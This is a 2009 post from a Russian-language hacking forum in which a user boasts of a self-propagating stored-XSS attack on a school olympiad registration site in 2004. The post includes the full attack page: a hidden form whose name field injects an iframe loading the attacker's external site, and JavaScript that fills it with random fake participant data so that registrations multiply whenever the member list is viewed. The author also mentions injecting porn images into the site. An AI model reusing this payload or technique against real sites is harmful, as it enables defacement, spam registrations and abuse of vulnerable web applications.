Показать сообщение отдельно

  #7  
Старый 27.05.2009, 00:28
vvs777
Познавший АНТИЧАТ
Регистрация: 16.11.2004
Сообщений: 1,257
Провел на форуме:
1331503

Репутация: 454


Отправить сообщение для vvs777 с помощью ICQ Отправить сообщение для vvs777 с помощью AIM
По умолчанию

Классно...
А никто не знает что это придумал я =)
Еще в 2004 году я таким макаром один сайт олимпиады попускал.

(если что - админы подтвердят. Сомневаюсь, что они меня забыли )

В регистрации форма пропускала хтмл код.
в одно из полей я фтыкнул ифрейм, который грузил страницу моего сайта на народе, где JS код генерировал рандомніе из списка ФИО и регистрировался на сайте, причемм одно из полей опять таки содержало фрейм.
Итого при просмотре списка участников происходила регистрация новых.
Каждая строка - номер просмотра - количество рег
0 1
1 2
2 4
3 6
4 10
...
Хотя после этого дела админы наконец то прикрыли xss, хотя до я им не раз порно картинки внедрял в таблицу
Код:
<form name="xf" action="http://www2.********/cgi-bin/v_olymp/i2004/members.py" method="POST">  <input type="hidden" name="first_name" value="fucker"> <input type="hidden" name="second_name" value="%3CIFRAME width=0 height=0 src=%22http://xaker_site.narod.ru/reg.htm%22%3E%3C/IFRAME%3Efucker"> <input type="hidden" name="country" value="Украина"> <input type="hidden" name="city" value="Киев"> <input type="hidden" name="school" value="СШ №7"> <input type="hidden" name="course" value="10"> <input type="hidden" name="email" value="vxredirect@mail333.com"> <input type="hidden" name="status" value="student"> <input type="hidden" name="language" value="ukr"> <input type="hidden" name="command" value="register"> </form>  <script>  function rand(num) {  return Math.floor(Math.random() * num )+1;  }  s='xxxx';  s=rand(9)+''+rand(9)+''+rand(9)+''+rand(9);  document.write(s+'<BR>');  names=new Array (30);  names[00]= 'Дмитрий';  names[01]= 'Андрей';  names[02]= 'Николай';  names[03]= 'Евгений';  names[04]= 'Иван';  names[05]= 'Антон';  names[06]= 'Олег';  names[07]= 'Константин';  names[08]= 'Вова';  names[09]= 'Сергей';  names[10]='Виктор';  names[11]='Кирилл';  names[12]='Максим';  names[13]='Иосиф';  names[14]='Юрий';  names[15]='Иван';  names[16]='Роман';  names[17]='Александр';  names[18]='Алексей ';  names[19]='Владимир';  names[20]='Илья';  names[21]='Богдан';  names[22]='Даниил';  names[23]='Виталий';  names[24]='Егор';  names[25]='Игорь';  names[26]='Ростислав';  names[27]='Артур';  names[28]='Вадим';  names[29]='Леонид';  names[30]='Павел';  surnames=new Array (30);  surnames[00]= 'Петров';  surnames[01]= 'Петровский';  surnames[02]= 'Сидоров';  surnames[03]= 'Сидорчук';  surnames[04]= 'Иванов';  surnames[05]= 'Иваненко';  surnames[06]= 'Маенко';  surnames[07]= 'Еремеенко';  surnames[08]= 'Лацюк';  surnames[09]= 'Бузин';  surnames[10]= 'Литвинов';  surnames[11]= 'Тысливый';  surnames[12]= 'Кипелов';  surnames[13]= 'Короленко';  surnames[14]= 'Монкур';  surnames[15]= 'Федорчук';  surnames[16]= 'Кравченко';  surnames[17]= 'Тымчиков';  surnames[18]= 'Хмельничук';  surnames[19]= 'Костыренко';  surnames[20]= 'Ронин';  surnames[21]= 'Вавилов';  surnames[22]= 'Винничук';  surnames[23]= 'Благой';  surnames[24]= 'Гончаренко';  surnames[25]= 'Ефимов';  surnames[26]= 'Каиров';  surnames[27]= 'Смирнов';  surnames[28]= 'Ходаков';  surnames[29]= 'Орлов';  surnames[30]= 'Вовченко';  cities=new Array (21);  cities[0]='Киев';  cities[1]='Чернигов';  cities[2]='Сумы';  cities[3]='Харьков';  cities[4]='Луганск';  cities[5]='Донецк';  cities[6]='Запорожье';  cities[7]='Днепропетровск';  cities[8]='Херсон';  cities[9]='Симферополь';  cities[9]='Николаев';  cities[10]='Одесса';  cities[11]='Кировоград';  cities[12]='Черкассы';  cities[13]='Житомир';  cities[14]='Хмельницкий';  cities[15]='Ровно';  cities[16]='Тернополь';  cities[17]='Черновцы';  cities[18]='Ивано-Франковск';  cities[19]='Львов';  cities[20]='Луцк';  cities[21]='Днепродзержинск';  courses=new Array (3);  courses[1]='9';  courses[2]='10';  courses[3]='11';  schs=new Array (8);  schs[1]='сш№';  schs[2]='СШ №';  schs[3]='сш №';  schs[4]='СООШ ';  schs[5]='сш';  schs[6]='СШ ';  schs[7]='Школа №';  schs[8]='Школа ';  document.xf.first_name.value=names[rand(30)];  document.xf.second_name.value=surnames[rand(30)];  document.xf.city.value=cities[rand(21)];  document.xf.school.value=schs[rand(8)]+rand(88);  document.xf.course.value=courses[rand(3)];    document.write(document.xf.first_name.value+'<BR>');  document.write(document.xf.second_name.value+'<BR>');  document.write(document.xf.country.value+'<BR>');  document.write(document.xf.city.value+'<BR>');  document.write(document.xf.school.value+'<BR>');  document.write(document.xf.course.value+'<BR>');  //id generation      //document.forms[0].submit();  </script>
мда, были времена когда я еще не знал пхп и приходилось вот так извращаться...

Еще в тему оттуда же Флудер на Javascript

Последний раз редактировалось vvs777; 27.05.2009 в 00:41..